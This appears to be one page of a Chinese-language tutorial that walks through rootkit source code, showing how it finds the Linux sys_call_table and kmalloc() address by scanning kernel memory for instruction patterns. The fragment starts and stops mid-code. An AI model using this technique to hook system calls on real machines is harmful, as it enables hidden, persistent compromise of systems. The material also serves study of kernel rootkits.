|
/* r的地址就是sys_call_table的首地址 */
r = *(ulong *) (p + 3);
/* p还是sys_call_table的地址 */
p = (char *) memmem(p+3, SCLEN - (p-code) - 3, "\xff\x14\x85", 3); if (!p) return 0;
pos[1] = ep + ((p + 3) - code);
return r; }
pattern.c/get_kma(): 作用:通过模式匹配搜索kmalloc()函数的地址 如果内核没有提供LKM支持,将使我们陷入困境。而且,这个问题的解决方法非常脏,也不是很好, 但是看来还有效。我们将遍历内核的.text段,对如下指令进行模式查询:
push GFP_KERNEL <something between 0-0xffff> push size <something between 0-0x1ffff> call kmalloc
然后,把搜索结果收集到一个表中排序,出现次数最多的就是kmalloc()函数地址 ulong get_kma(int kmem, ulong pgoff, ulong *rgfp, ulong hint) { #define KCALL 8192 #define KSIZE (1024*1024*2) #define BUFSZ (1024*64) #define MAXGFP 0x0fff #define MAXSIZE 0x1ffff uchar buf[BUFSZ+64]; uchar *p; ulong pos; ulong gfp, sz, call; kcall kcalls[KCALL]; int c, i, ccount;
gfp = sz = call = ccount = 0;
for (pos = pgoff; pos < (KSIZE + pgoff); pos += BUFSZ) { c = rkm(kmem, buf, BUFSZ, pos); if (ERR(c)) break; /* 寻找push和call指令 */ for (p = buf; p < (buf + c); ) { switch (*p++) { case 0x68: gfp = sz; sz = *(ulong *) p; p += 4; continue; case 0x6a: gfp = sz; sz = *p++; continue; case 0xe8: call = *(ulong *) p + pos + (p - buf) + 4; p += 4; if (gfp && sz && gfp <= MAXGFP && sz <= MAXSIZE) break; default: gfp = sz = call = 0;
共11页: 上一页 [1] [2] [3] [4] [5] [6] 7 [8] [9] [10] [11] 下一页
|